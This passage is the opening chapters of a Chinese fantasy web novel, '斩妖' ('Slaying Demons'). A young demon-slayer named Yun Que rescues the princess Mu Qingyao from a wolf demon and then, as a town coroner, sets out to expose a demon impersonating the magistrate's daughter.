《斩妖》 第1章 人未死,坟先立 雨夜,荒山。 一行十余人匆匆赶路。 泥泞的山路上,留下一串慌乱的脚印。 山脚处,一团硕大的黑影低头嗅着脚印,随即发出一声刺耳绵长的啸声。 嗷呜…… “狼群追上来了!快走快走!” “已经用了遮蔽气息的药材,怎么狼群还能追踪气味?难道那些畜生能看懂脚印!” “普通的狼群肯定看不懂,但狼妖能!狼群里肯定藏着妖物!” 惶恐的气氛,在队伍中快速弥漫。 为首的灰发老者沉声道: “翻过这座青狐山便能抵达藏石镇,镇上有官兵驻守,可保郡主平安。” 队伍中心,是一名少女,明眸皓齿,容貌端庄秀美,穿一身洁白的长袍,即便脚步有些踉跄,但目光始终平静,有一种超乎她年岁的冷静。 她是晋国最小的郡主,牧青瑶。 自从出生便拥有特殊天赋被皇族赋予重望,如今是大晋司天监最年轻的弟子,同时也是天祈学宫众多学子们公认的才女。 此行远赴边塞之地,是为了寻找珍贵的灵花,不料途中遭遇妖物袭击,护卫的三百禁军,只剩下十余人,不得不撤回境内,结果在青狐山又遇到狼妖出没。 晋国立国十五年,天灾不断,妖邪丛生,皇都附近还好,越是偏远的乡镇,越容易出现妖邪作祟。 这些年来,百姓苦不堪言。 为抵御妖邪,司天监不惜重金打造出伏妖阵,可将妖邪挡于阵外,保一地百姓平安。 但伏妖阵所需的关键之物灵花太过稀少,至今为止,伏妖阵仅仅造出三座而已,分别安置在皇城与周边的两座大城之内。 以至于三座主城的地价连年攀升,伏妖阵虽然安全,却与穷苦百姓无关,只是富人们的天堂罢了。 疾行中,灰发老者感叹道: “妖都虽然覆灭,可天下的妖邪却比前朝还要多。” “只要伏妖阵打造得足够多,天下百姓自可安泰。” 牧青瑶的声音轻灵,带着一份坚毅。 狼群来得极快。 黑压压,一片跃动的狼影在大雨中快速接近。 为首的一个硕大身影,一个纵跃就有两三丈,甩开狼群极远。 “果然有狼妖!” 灰发老者顿住脚步,缓缓抽出长剑,沉声道:“老夫来抵挡一二,郡主只管向前逃,千万别回头!” 十余名禁卫抽出随身刀剑,毅然回身,沉默着冲向袭来的狼群。 对面,牦牛般大小的青色巨狼腾空扑来。 “孽畜受死!” 剑光闪烁起寒芒,横斩而出,与狼爪碰撞发出金铁交鸣般的脆响。 妖狼的力量之大,灰发老者明显不敌,但在巨狼扑空的瞬间,那把长剑突然脱手,竟自行旋转到妖狼背后,猛刺而下。 噗! 长剑扎进妖狼后颈,高大的巨兽栽倒在一棵大树下。 “区区妖物,难逃老夫的御剑之术。” 灰发老者冷哼一声,握住剑柄就要斩断狼头。 头狼一死,狼群自会退去。 呼! 两团白气忽然从树后喷出。 灰发老者豁然一惊,他看到被刺中的狼妖眼睛里,竟带着拟人般的诡诈之色。 中计了! 刚想到这里,一颗硕大的狼头从树后的阴影里探了出来。 獠牙如刀,毛发鲜红似血,额头生着第三只狼眼! 那是一头比老者还高的血色巨狼,两团白气正是它的鼻息。 “三眼血狼!” 咔嚓!! 老者仅仅发出一声惊呼,血盆大口便将其直接吞没。 之前的青色狼妖,只是诱饵,真正可怕的妖物,隐藏在狼群深处。 大雨忽然停了。 月光从乌云的缝隙中落下。 牧青瑶终于爬上山顶。 小郡主死死的咬着牙关,在大雨中继续前行,单薄的身影仿佛随时会淹没在风雨当中。 身后传来的惨叫,让她不由自主的颤抖了起来,她忍不住回头看去。 惨白的月光下,是狼妖将那位灰发老者吞进口中的一幕。 这一刻,牧青瑶的心脏仿佛停顿下来。 逃! 小郡主的脑子里,只剩下这一个字。 下山的路,泥泞不堪。 牧青瑶慌乱中滚落山下,直至半山腰才停住。 当她爬起来的时候,山顶那头巨大的血狼正对月长啸。 逃不掉的…… 绝望中,牧青瑶发现不远处有一座小木屋,屋子里亮着微弱的灯火。 应该是猎户的屋子。 拖着疲惫的身体,牧青瑶逃到木屋近前。 木屋修建得十分古怪,屋门上面宽下面窄,屋子前面高后面低。 绝非为了节省木料,而是特意打造成如此模样。 “上宽下窄,前高后低,这里是……木棺!” 小郡主凄然而笑。 走投无路之下,没有柳暗花明,只有一具山中木棺。 天命如此,她注定要埋骨青狐山。 妖狼的低吼越来越近。 牧青瑶带着一身冷雨,推开了木屋的门。 屋子里十分干净,正中间是一张木榻,与棺材的构造一致。 走进木屋,随后牧青瑶愣住了。 木榻上竟躺着一具尸体! 是名少年,十六七岁的模样,一身黑衣,面容清秀,闭着眼一动不动。 黑衣少年怀里抱着个狭长的刀鞘,足有五尺,刀柄抵着下颚,前端顶着脚尖。 牧青瑶很快恢复了平静。 大晋地界,有许多千奇百怪的民间习俗,匪夷所思的下葬方式。 这木屋显然是木棺,尸体已经入葬,那把长刀,则是陪葬品。 “抱歉,扰你清静,我已无路可逃,借此地葬身。” 牧青瑶靠着木门,轻声而言。 屋外,是越来越近的狼啸声。 牧青瑶知道狼妖很快会追来,她看不到任何希望,只好将这里当做自己的葬身之地。 这时木榻上的黑衣少年突然坐了起来! 小郡主的心跳几乎停顿了一下。 诈尸! 黑衣少年睁开了眼,目光深邃得犹如古井。 “活人!” 牧青瑶低呼一声,刚才慌乱间没细看,现在才察觉到对方有呼吸,并不是尸体。 “当然是活人,你谁呀。” 黑衣少年开口,声音有些沙哑好像很久没说过话了。 “打扰了,我叫牧青瑶。” 小郡主冷静的道:“山中木棺,活人入葬,你人还未死,为何要给自己修坟。” “我家的习俗,我看青狐山不错,早点给自己修座坟,碍你事了?”黑衣少年冷淡的道。 牧青瑶秀眉微蹙。 人未死,坟先立! 再如何匪夷所思的下葬方式,再如何奇怪的风俗,也要有个最基本的共同点。 人死才下葬。 没人会在活着的时候,先给自己立坟。 这种习俗实在诡异,但牧青瑶总觉得好像在哪里听说过,一时想不起来。 哒,哒,哒。 门外传来利爪踏动的响动,越来越近。 “对不起,连累你了。” 牧青瑶缓缓坐在墙角,双手抱膝,声音很轻,满带歉意。 是她引来了狼妖。 眼前的黑衣少年也会被一并吞杀。 嘭!! 屋门被撞得发出闷响。 狼妖的低吼就在门外,隔着木门缝隙能看到巨大的獠牙。 “买卖上门,好事啊。” 黑衣少年嘀咕着跳下木榻,在桌子底下翻出几个生的鸟蛋,也不剥皮,擦一擦直接扔进嘴里,连壳一起生吞下去。 牧青瑶睁大了双眼,疑惑着少年的举动。 对方没有任何惊慌,反而有种淡淡的窃喜,就像在路边走着走着忽然捡到钱似的。 三眼血狼的恐怖,牧青瑶深有感触。 连保护她的那位修行者都难逃狼口,眼前的黑衣少年怎么会不怕? 非但不怕,还有点高兴? 哐当!! 屋门被撞开。 一颗硕大的狼头,在寒风中探了进来。 吼!! 血狼额头的第三只眼裂开到极致,死死盯住了屋中的少女。 牧青瑶浑身绷紧,一张俏脸苍白如纸。 尽管面临绝境,小郡主仍未失去冷静,对云缺急急说道: “狼妖吞我的时候,你趁机逃走,也许有一线生机!” 小郡主很清楚,狼妖的目标是她。 面对牧青瑶的好意,黑衣少年好似充耳未闻,怀抱着刀,脸挂着笑,面对狼妖道: “上个月追你的时候,你跑得可挺快的啊,今儿居然送上门了。” 狼妖听闻声音,浑身狼毛根根炸立,额头的第三只血眼豁然盯住黑衣少年。 随后牧青瑶惊讶的发现,血狼的第三只眼睛竟泛起了恐惧。 嗷呜!! 急促的狼吼中,血狼就要退出木屋。 不过晚了。 黑衣少年,已经抽出了刀。 第2章 鬼物就是个笑话 小小的木屋里,一片黑色的刀光暴起。 呼! 凌厉的刀气中,火烛熄灭。 涌进木屋的风雨也在此刻凝固。 咔嚓。 牧青瑶看不到四周的情况,在黑暗中,她听到了一种劈斩的声音。 随后屋子里彻底安静下来。 牧青瑶能清晰听到自己如雷的心跳。 即便贵为郡主,即便饱读诗书,即便心智过人,可她不过是十六七岁的少女而已。 面对狼妖,说不怕是假的。 周围弥漫起刺鼻的血腥气。 牧青瑶的两只小手紧紧捏起,她不知道血腥气息的来源究竟是黑衣少年,还是三眼血狼。 烛火重新燃起。 照亮了黑衣少年冷峻的面颊。 门口处, 血狼硕大的头颅被整整齐齐切了下来,獠牙大张,已经死得不能再死了。 三只狼眼中留存着惊悚的目光,好似看到了恐怖的天敌。 夜,更静了。 远处的群狼长啸不断,听起来阴森恐怖。 直至黑衣少年将狼头踢出门外,又重新关好屋门,牧青瑶才意识到自己脱离了危险。 小郡主檀口微张,不可思议的望着黑衣少年。 那可是连修行者都能吞杀的狼妖! 居然被一刀枭首! 仿佛黑衣少年斩的不是妖狼,而是一只闯进自家的野狗。 斩妖如屠狗! “救命之恩,日后定当报答。” 牧青瑶轻声道,将心里的恐惧慢慢散去。 “用不着道谢,上个月我追了它几十里,累得够呛不说还给它逃了,应该我谢你才对。” 黑衣少年抱着刀躺在木榻上,懒洋洋的道。 “你救过我,我不会忘,敢问阁下尊姓大名。”牧青瑶道。 “云缺,缺钱的缺。” 牧青瑶听罢诧异了一下。 以缺为名,实在罕见。 “箱子里有我的旧衣服,都是洗过的,如果不怕染风寒,你也可以不换。” 云缺抱着刀翻了个身,脸朝里侧,背对着小郡主。 牧青瑶早已冻得瑟瑟发抖,被大雨淋透的衣袍贴在身上十分难受。 小郡主抿着唇,犹豫了一下。 “我相信你是个好人。” 轻声说完,牧青瑶起身找出一套云缺的旧衣服,开始更换。 窸窸窣窣的声音,在寂静的午夜里显得格外清晰。 云缺忽然睁开了眼。 目光清明冷冽,怀里的刀,缓缓出鞘。 锋利的刀刃流转过一抹寒芒,刀体上,清晰倒映着身后的烛火与一切。 随后云缺的眼神开始变了,变得惊讶震撼。 “好大……” “什么?” 刚刚换完衣服的牧青瑶莫名其妙的道。 “雨好大。” 云缺的声音平静如常。 不知何时,屋外又下起大雨,雨滴的响动盖过了远处的狼嚎。 “狼群还在。”牧青瑶担忧的道。 “它们不敢进来,困了你自己想办法,我先睡了。” 云缺打了个哈欠,很快响起鼾声。 群狼环伺之下,还能这么快入睡,牧青瑶不得不佩服眼前这个少年的胆量。 她坐在木桌旁,望着烛火出神。 回忆着这一路经历的种种危机,又想起被妖狼吞杀的护卫与老者,心情愈发沉重。 小郡主太累了,趴在桌上沉沉睡去。 她做了个噩梦。 梦到小小的木屋里,有一头比狼群还可怕的妖怪,正对她张牙舞爪。 直到清晨,牧青瑶在噩梦中惊醒。 屋外的狼嚎已经消失。 木榻上,冷峻的黑衣少年正四仰八叉的睡着,早没了昨夜斩妖的那份冷酷,嘴角还挂着口水,梦呓般嘟囔着好大,好大…… 也不知究竟梦到了。 牧青瑶无奈的笑了笑。 对方与她年纪相仿,却独自住在深山,肯定经历过没人知道的苦难。 牧青瑶努力回想着,那份给活人立坟的习俗究竟出自何处。 很快云缺睡醒,翻出把锋利的剔骨刀出了门,不到一刻钟就将狼皮剥好。 云缺回屋后将狼皮装进个黑袋子里,背在身后道: “我要回镇上,你走不走。” “藏石镇么,我也想去。”牧青瑶点头道,心里暗暗惊奇。 那可是一人多高的巨狼,再老练的猎人独自剥皮也得一个时辰以上,这才多大一会儿! “那便一起,不过说好了,早饭你请客。” 云缺推门走了出去。 天亮后,牧青瑶看清了周围的环境。 小木屋虽然建在半山腰,但屋后面就是不知多深的山涧。 她昨晚跌跌撞撞根本没看路,如果掉进山涧,九死一生。 一阵后怕中,牧青瑶刚想迈动脚步,忽然定在门口,漂亮的眼眸里泛起惊恐。 “走啊,怎么了。”云缺疑惑道。 “走不得!狼魂还在!” 牧青瑶直勾勾的盯着云缺身后。 在她眼前,一道巨大的血色狼魂正漂浮在木屋门外,狰狞恐怖。 “你能看到魂体?” 云缺头都没回,面带新奇,望着眼前的少女。 “我体质特殊,是先天通灵之体,能看到灵体鬼物,我能沟通弱小的灵体,但狼魂太强,我无法控制,它会杀掉我们。”牧青瑶声音沉重的道。 “通灵之体,倒是罕见,拿着这个你就不用怕了。” 云缺说着将长刀摘了下来,塞给对方。 刀很沉,牧青瑶用尽全力才抱住。 刀很凉,尽管有刀鞘,依旧有种彻骨的寒意。 牧青瑶觉得自己抱着的不是一把刀,而是一块万年寒冰。 牧青瑶觉得这把刀一定有很强的力量,也许能抗衡狼魂,但她想不通自己只是抱着刀,怎么就能抵御狼魂了? 而云缺没了刀,赤手空拳,一旦被狼魂附身,神魂会瞬间崩塌。 “你怎么办!” 牧青瑶见云缺毫无防备的往外走,立刻惊呼道。 “我又不是你这种怕鬼的小姑娘。”云缺满不在乎的道。 “那不是普通鬼物!狼魂很可怕,它能附身摧毁你的神魂!” 牧青瑶焦急起来,云缺已经走近了狼魂,此刻十分凶险。 但随后,牧青瑶就惊讶的发现,狼魂竟在云缺走近的时候主动避让开来,根本不敢近身。 这怎么可能! 牧青瑶震惊得檀口微张,一时说不出话来。 “走哇,待会儿晌午了,午饭可比早点贵得多。”云缺催促道。 牧青瑶紧紧抱着刀,小心翼翼绕开狼魂。 果然狼魂对她也束手无策,独自盘旋在木屋上方,无声的嘶吼着。 “为什么你不怕狼魂?”牧青瑶惊奇的问道。 “只要杀的活物够多就会积攒出杀气,大量的杀气会凝炼成煞气,在足够多的煞气面前,鬼物,就是个笑话。” 云缺呵呵一笑,捡起地上的狼头用力一抛,将其扔进屋后的山涧。 牧青瑶听得将信将疑。 她的手碰到一块铁牌子。 低头一看,是块锈迹斑斑的黑铁腰牌,挂在刀鞘上。 上面刻着‘斩妖司’三个字。 看到这块腰牌的瞬间,牧青瑶终于想起了人未死,坟先立的习俗来自何处。 前朝,大燕国司天监设立的特殊机构,斩妖司! 嘭!! 狼头落进山涧的声音远远传了过来。 牧青瑶回头望去, 棺材形状的木屋后,飞起了成千上万的漫天黑鸦! 这些以腐肉为食的黑鸦,只出没于枯骨众多的乱葬岗,既然成群出没,只能说明一件事。 山涧里,堆积着无尽白骨! 带着满心震撼,牧青瑶跟着云缺朝山下走去。 一路上小郡主思绪万千。 前朝燕国与北域妖都的一次倾国之战,最终两败俱伤,皇帝战死,军中高手尽数丧生,大燕王朝耗尽元气,日薄西山,很快被大晋取代。 虽然妖都倾覆,残留在晋国的妖物依旧繁多,于是大晋效仿前朝同样设立了司天监,负责与妖邪作祟有关的特殊案子。 但晋国的司天监内,没有设立斩妖司。 不是不愿设立,而是招不来前朝斩妖司里那些特殊的高手。 据史料记载,前朝斩妖司汇聚着一群神秘的武者,与正常的武夫不同,气血极其强大,战力惊人,其中的强者甚至能以肉身之力搏杀妖物,专门以猎杀妖邪为生,获取丰厚的报酬。 斩妖司的人有个特殊的传统,既成斩妖人,必定先立坟。 为自己建一座气派恢宏的大墓,然后留下一缕头发代替自己将来在此长眠。 因为斩妖司的人,最终归宿只有一个。 战死! 尸骨无存的那种! 十五年前的大战,大燕斩妖司是与妖都抗衡的主力军,最终全军覆没,与皇帝同时战死。 至此,凶威赫赫的斩妖司,成了史册里的一行行文字。 望着眼前阔步而行的黑衣少年,牧青瑶从未想过,自己居然能见到前朝斩妖司的后人! 一个期待,在她心里如野草般疯长。 如今大晋的司天监,虽然也称得上高手林立,但面对四处作祟的妖邪来说,只能疲于应对,大多时候是以击退妖邪为主,很难彻底灭杀。 这就造成了按下葫芦浮起瓢的尴尬局面。 赶走一波妖邪,对方很快会在其他地方出没,依旧会有百姓惨遭杀害。 但前朝的斩妖司不同! 斩妖司,顾名思义,奉行着斩尽杀绝的原则。 但凡发现妖邪,必定不计代价的斩草除根,杀到一个不剩为止! 若晋国也能组建起类似前朝的斩妖司,大晋的黎民百姓就会多一条活路,不用再为虚无缥缈的伏妖阵等待了一年又一年,最终只能等来无尽的遗憾。 没人比牧青瑶更清楚打造伏妖阵的艰难。 不仅费时费力,劳民伤财,所需的九转灵花更百年难遇,她从六岁开始便为了寻找灵花奔波游走,十余年间,经历无数危险才仅仅找到一朵。 这还是运气够好,否则几十年都难以发现一朵灵花的踪迹。 即便发现了,也未必采得到。 因为九转灵花是稀世的天材地宝,附近往往徘徊着强大的妖邪。 上一朵灵花的争夺,司天监的高手陨落十多位,重创数十人,又牺牲了上千名精锐禁军的生命才得来。 下山之路,牧青瑶心里全都是斩妖司三个字,等她回过神儿来,已经走进一座小镇。 第3章 双子诡案 藏石镇,位于晋国边陲,隶属知远县管辖。 镇子不大,街上是土路,由于昨夜的大雨变得有些泥泞。 街上行人不多。 不过小镇上的早点铺子早已人满为患。 牧青瑶观察着吃早点的人,全是些粗布衣的汉子,手上遍布老茧。 这些人都是苦力。 牧青瑶想起了藏石镇上有一处玉石矿,皇都里有不少玉器出自此地。 走到一处包子铺,立刻闻到肉包的香气。 牧青瑶看了眼冒着热气的笼屉,很快收回目光,保持着郡主的端庄。 可肚子却不争气的咕噜噜直叫。 好在附近人多,没人听得到。 “让个地儿。” 云缺站在一桌满满登登的苦力身后,声音冷淡。 “没看都坐满了吗,让什么让!来晚了一边蹲着吃!” 一个精瘦的汉子回头一瞧,顿时改口道:“呦!云哥儿!来来我这有地方,你坐你坐!” 一桌汉子纷纷起身让座,一个不剩,在包子铺墙角蹲成一排,捧着大碗继续吃。 “两屉肉包子。” 云缺坐下后,敲着桌面道。 包子铺老板立刻将原本端给别桌的两屉包子,送到云缺面前。 整个过程娴熟自然,无论老板还是被截胡了包子的食客,都觉得十分正常,没人有意见。 这种做派,在牧青瑶印象里只有皇城的那些衙内才做得出来。 但她发现周围的汉子们包括那包子铺的老板,对云缺并非惧怕,而是一种敬意。 发自内心的尊敬。 牧青瑶拿起个热腾腾的肉包子,咬了一小口。 很香。 小郡主品味着第一口包子的香甜之际,云缺那边已经半屉进肚了。 “他们家包子在镇上味道一绝,每天只卖固定数量,卖没了就得等明天,你这种吃法,活该饿肚子。” 云缺一边狼吞虎咽,一边盯着牧青瑶面前的那屉包子,两眼放光,饿狼一样。 牧青瑶立刻护住自己的包子,加快了速度。 她自己都觉得有些不解,身为郡主,怎么会出现护食这种举动? 实在太失态了。 可包子真的很好吃…… 镇上有一条布衣巷,住着的都是穷苦人家。 巷子尽头是一个小小的宅院,半人高的破墙,一间老旧小屋,修建得前高后低,房门上宽下窄。 小院里干干净净,墙角长着矮小的白色野花。 这里是云缺的家。 走进小院的时候,牧青瑶有一种走在灵堂里的感觉。 屋门前,云缺停住脚步。 “我到家了,你若没地方去,可以住在这里,不过时间不能太长。” “我可以付钱,我也不在意名声,你不用顾虑太多。”牧青瑶道。 “不是你在不在意的问题,是我在意。” 云缺皱着眉道:“你要住个一两天,邻居街坊会认为我带回个窑姐儿,你要住得时间长了,他们会以为我带回来个媳妇儿,过阵子你走了,我的名声怎么办,跟别人说媳妇跑了?” 牧青瑶愣了一下,居然无言以对。 “云老弟!你可算回来了!” 院外传来一声大吼,闯进个中年汉子,穿着官差的衣服。 来者是藏石镇的捕头,武大川。 武大川火急火燎的来到近前,道:“出事了!县令老爷多了个闺女!” “好事啊,什么时候吃席,老规矩,三道菜之后朝墙外咳嗽五声,三长两短。”云缺道。 牧青瑶听得奇怪,问道:“为什么要咳嗽五声,非得在三道菜之后?” 武大川脱口而出: “因为三道菜之后是东家最忙的时候,写账的方面大多会疏忽,说白了,就是白吃的最佳时机……嗐!不是生了个闺女,而是多了个和小翠儿一模一样的女儿!县令老爷家出了诡案啊!” 听闻双子诡案,小郡主好奇起来,眨了眨明媚的眼眸望向云缺。 牧青瑶好奇的不仅是案子本身,她更好奇为何衙门里发生诡案后,捕快不自己破案,反而先来找云缺。 云缺懒洋洋的道: “多个闺女不是挺好,将来双份儿的彩礼,县令老爷那么贪财肯定收到手软。” 武大川苦着脸道: “还手软,现在县令老爷是脚软,都要站不稳了!云老弟你赶紧去瞧瞧吧,等着你救命呢。” 云缺道:“武兄说笑了,吃饭的时候找我肯定到,这种诡案听起来就吓人,我又没有一官半职,平头百姓一个,这种事还是躲远点为好。” 武大川:“云老弟可不是平头百姓!你也是衙门的人呐,县令老爷前两年不是才提携你么,现在和我一样都是衙役!” 云缺道:“你我能一样么,你是捕头,一个月少说十两银子的俸禄,县令老爷提携我当个仵作,没俸禄不说还得和尸体打交道,验一具尸才一百个铜钱,十具尸体一两银子,想要追上你的俸禄,藏石镇至少一个月得死一百人才够,一年死一千多人,十年……” 武大川:“别、别十年了!照这么死下去,没两年镇子上的活人都得搬走。” 牧青瑶终于听明白,云缺原来还有个差事,是镇上的仵作。 在大晋国,仵作虽然隶属官府是衙役,但没有任何官职可言,验尸拿钱,说白了就是临时工一个,与巡夜的更夫,养马的马夫,烧饭的伙夫一样。 而且仵作这行当很难找到人。 毕竟和尸体打交道,正常人哪有不忌讳的。 大多的仵作都是些年迈之人,半截入土不在乎了,青壮干这行的基本没有。 更夫值夜,白天大把时间,马夫喂马,多少能捞点草料,伙夫更不必说一个个全是大肚肥肠。 唯独仵作,半点油水捞不到。 但凡有命案出现尸体,衙门的人早就滤过一遍,好点的衣服都留不下,到了仵作这里,只有两袖清风,留条遮羞布就算好的。 当然也不是全无好处。 如果走点运的话,没准能撞见鬼。 “各司其职,各管其事,等县令老爷成了尸体,我肯定公事公办,帮他好好验一验。” 云缺说完抬腿就走。 牧青瑶不知云缺去哪,只能跟着。 武大川早已习惯云缺的脾气,干着急却不恼,跟在旁边陪着笑,不住的劝说。 云缺充耳不闻,直接去了集市。 别的不买,专门寻摸蛋类。 藏石镇的集市十分热闹,一大早就人山人海。 卖山货的,卖皮袄的,卖首饰的,卖小吃的,卖儿女的应有尽有。 经过一处猪肉摊的时候,断了只手的屠夫非得塞给云缺二斤五花肉,说什么也不要钱。 “去年要不是云哥儿去了趟矿上,我们这些老矿工没几个能活得下来!当时我就发誓,今后就算改行,云哥儿到了一概免费!卖面条免费,卖猪肉免费,卖身也免费!” 卖猪肉的汉子嘿嘿笑道。 “你还是卖猪肉吧,卖身的话,我这辈子肯定不来你家买卖。” 云缺道了声谢,拎着二斤猪肉走向不远处的山货摊。 牧青瑶见云缺没走远,问了下卖猪肉的汉子。 “这位大哥,去年矿上发生了什么事?” “别提了,去年矿里闹妖邪,死了好几个人!我这只手就是被妖邪给咬掉的,要不是跑得快啊,命都没了!报了衙门,可捕快根本不敢进去查看!后来是云哥儿一个人一把刀,进去矿里走了一趟,矿上这才消停,我们这群矿工对云哥儿感激不尽呐。” 集市上,云缺只寻找鸟蛋蛇蛋一类。 其他的鸡蛋鸭蛋比比皆是,云缺从不停步。 牧青瑶想起云缺在山上木屋的时候,就生吞过鸟蛋,而且皮都不去,不知是什么奇怪的癖好。 逛了一大圈,眼看着已经晌午。 武大川看了看天色,道: “差不多了云哥儿,衙门里要开饭了,马小脚早上吩咐过,中午吃肉。” “谁是马小脚?”牧青瑶问了句。 “就是县令,这位大人小贪不断,大贪不敢,由于脚小,被百姓起了个外号叫马小脚。” 云缺说完,与武大川朝着县衙而去。 牧青瑶无奈的笑了笑,她对云缺的特立独行愈发感兴趣。 原来走这么大一圈,就是为了等饭点儿呢…… 藏石镇县衙。 大门口,一个五大三粗的中年男人正在来回踱步,一个劲的搓手,手心里全是冷汗。 远远看见武大川和云缺到了,男人立刻迎上去。 “云老弟!可算等到你了,县令老爷快急死了。” 此人是县衙的主簿,名叫牛不才。 人如其名,一点才也没有,目不识丁,仗着家中舅父在朝廷为官,这才打点个主簿的职位,由于不识字,总带着个家里的账房先生在身边。 云缺拱了拱手,道: “县令老爷还有多久能急死,我在这等一会儿,我不急。” “别介呀云老弟!你可是衙役,县令老爷是咱们顶头上司,真要出个三长两短,咱们谁也逃不开干系!”牛不才苦涩道。 “卑职是仵作,只看尸体,不看活人。”云缺道。 仵作在衙门里,是按照尸体算钱的,看活人可一个铜板都得不到。 牛不才没办法,道: “就当县令老爷死了!你赶紧帮忙看看,这次和验尸一个价!” 云缺道:“县令大人为国为民,兢兢业业,起早贪黑,深得藏石镇百姓爱戴敬重,如今家逢巨变,我等草民实在于心不安。” 牛不才连忙习惯的吹捧道: “没错!县令老爷乃一方父母,多年来勤勤恳恳为百姓谋福祉,是我辈榜样……” 说着说着,牛不才看到云缺伸出手一只手。 “云老弟这是……” “既然主薄大人也认同县令老爷值得敬重,那么这种榜样,是不是得加钱呢。”云缺道。 “双倍?”牛不才试探道。 “五两。”云缺道:“不二价,不然我只管验尸。” “你丫的太黑了吧!县令老爷这个月才收了二十两……”牛不才察觉说漏嘴,急忙点头道:“行!五两就五两!” 说完满脸肉疼的先预支了五两银子。 熟悉的人都知道云缺的规矩,先拿银子后办事,无论看活人还是看死人,都这规矩。 一旁的小郡主再次看得瞠目结舌。 钱,还能这么赚? 牧青瑶今天算开了眼界。 第4章 虎头县令 县衙大堂。 县令马庸两眼无神,端坐在太师椅上,穿了双肥大的靴子。 大堂里摆着两张凳子。 凳子上各自坐着一名二十上下的女子,全都身穿绿裙,长得一模一样,如同双胞胎似的。 三班衙役围拢在一旁,大眼瞪小眼的盯着两个女子。 绿裙女子名叫小翠,是县令马庸的亲闺女,尚未出阁,原本好端端的待在后宅,结果莫名其妙的多出一个来。 两个一模一样的女儿,马庸实在分辨不出。 无论怎么问,都问不出丝毫破绽,如果问得狠了,小翠还会哭哭啼啼。 关键是两个小翠同时哭,看得跟闹鬼差不多。 没办法,马庸只能让三班衙役看着两个女儿,再派人去找云缺帮忙。 尽管是仵作,但云缺的能耐,藏石镇的人无人不晓。 那是连妖都能猎杀的狠人! 藏石镇原本地处偏远,又在晋国边陲之地,周围荒山极多,按理说这种地方最容易妖邪丛生。 可偏偏这些年藏石镇安然无恙,极少出现妖邪作祟的案子,以至于连附近大城镇的人都羡慕万分。 要不是藏石镇上实在没什么好地方,估计这里都能搬来不少大户人家。 一见云缺到了,马庸顿时来了精神。 “云缺!快来帮忙辨认一番,看看哪个才是我的亲生女儿!” 旁边的三班衙役看到云缺,也纷纷放松下来,好像吃了定心丸似的。 牧青瑶跟在云缺身旁,看到两个一模一样的女孩后,她目光晃动一下,多看了右侧的女孩一眼。 云缺进来后,只是随意扫了眼,道: “都是活的。” 马庸,牛不才,武大川与一众三班衙役齐齐愣了下。 谁不知道是活的! 关键谁是假的呀! 主簿牛不才急得直搓手,冒着冷汗道: “云老弟你看清楚,两个小翠当中肯定有个是假的,她们长得一模一样,必是妖邪呀!云老弟是除妖高手,难道分辨不出吗?” “分不出来。”云缺道:“我宰的都是长毛的,妖邪化人这种情况无能为力,我又不会开天眼。” “那可怎么办呐!”牛不才一个劲抖手。 “要不然咱们用土办法!”武大川提议道:“饿!饿个七天七夜,看谁挺不住,谁就是小翠!妖邪肯定不怕饿!” 牛不才骂道:“什么馊主意!饿七天,活人都饿死了!分出来有个屁用!” 马庸唉声叹气道:“就没有别的法子了?我可怜的闺女呀……” “我还有个办法。” 云缺一句话,让众人重拾希望。 一双双迫切的目光落在云缺身上。 “快快讲来!”马庸催促道。 “想要分辨哪个是真的小翠,其实也不难,查验左臀即可。” 云缺说完办法,在场众人再次愣在原地,一众三班衙役你看看我,我看看你,不明所以。 虽然不清楚云缺的办法准不准,但他们不介意开开眼。 “此话当真?”牛不才最为焦急。 县令老爷是他的顶头上司,这要出点事,他肯定好不了,出气筒撒气包背黑锅,全得招呼身上。 马庸惊疑道:“你真有把握分辨出真假?” “十足的把握。”云缺道。 马庸一咬牙,吩咐道:“都出去!男的都给我出去等着!” 三班衙役顿时失望的往外走,武大川还一个劲回头,满脸不舍的模样。 连主簿牛不才也出去后,大堂的正门被关闭。 屋内只剩两个小翠,县令马庸,云缺和牧青瑶。 由于牧青瑶是女人,这种事无需回避。 马庸狐疑的问道:“为何偏偏要验左臀?” 云缺道: “前天小翠沐浴的时候,撞到了桌角,左臀有块淤青,她自己可能都不知道。” “原来如此……那你怎么知道的?”马庸惊讶道。 “无意中看见的。”云缺脸不红心不跳的道。 旁边的牧青瑶听得哭笑不得。 马庸无奈之下,示意云缺可以开始查验了。 云缺指了指左侧的小翠,道:“先从你开始。” 那个小翠一脸羞恼,又无可奈何,只好转过身,背对着几人解开腰带,慢慢现出云缺需要观测的部位。 看了眼之后,云缺当即断定道: “身上没有淤青,另一个不用看了,你就是假的。” “我不是!”小翠哭喊道:“我的真的!爹!你好好看看我,我是你女儿啊!” 说着就要扑过来,却被云缺以刀鞘挡住。 “真的小翠可以出去了,你最好别妄动,否则我现在就砍死你。” 冷冰冰的刀鞘,让那刚刚验体的小翠悲愤欲绝,瘫坐在地哭天抹泪。 坐在右侧的小翠匆匆逃出大堂,在几个衙役的护送下返回后宅。 随后牛不才武大川与其他衙役纷纷冲了进来,刀枪棍棒齐齐指向哭成泪人的假小翠。 “好你个妖邪!敢来衙门作祟!今天你死定了!” “青天白日朗朗乾坤,正是诛妖之时,等着受死吧!” 一众衙役呼喝连天,就是没人动弹,而且都站在云缺身后的位置。 武大川胆子比较大,持刀在手,谨慎道: “云老弟快动手,我来接应,别让这妖邪逃了!” 在众人都以为云缺要当场斩妖之际,云缺居然垂下了刀鞘,坐在一旁。 见云缺此举,众人大为不解。 在妖邪面前放松警惕,对方很可能趁机反扑! 牧青瑶轻声道:“这个小翠,是真的,刚才那个才是假的。” 一语点醒梦中人。 众人这才知道,原来云缺用了欲擒故纵的手段,先稳住那妖邪。 牛不才挑起大拇指道: “不愧是云老弟!刚才若在这里动手,小翠的安危不说,连大人都有可能被波及!这下妖邪回了后宅,云老弟可以随意施展不用顾忌!” 武大川与一群衙役现出敬佩之色,一根根大拇指挑得老高。 瘫坐在地的小翠如梦方醒,悲喜交加之下直接昏死了过去。 牛不才急忙喊来丫鬟婆子,将小翠带到安全的地方。 云缺龇牙笑了笑,对牧青瑶道:“猜对了,想知道结果的话,就跟我去除妖。” 牧青瑶望着云缺清澈如古井的眸子,静默了稍许,摇头道: “我不去了,我等在这里,我只想知道真相。” 云缺点点头,抱着刀,大步走向后宅。 牛不才武大川等一众衙役急忙跟在后面,没敢跟太近,都离着老远,生怕被波及。 大堂内。 牧青瑶安静的坐在一旁,犹如一朵柔美的花儿,但灵动的眸子里始终积压着一层外人不得而见的阴霾。 马庸变得轻松起来。 在大堂里缓缓踱着步,脚步声很沉。 咚,咚,咚,咚。 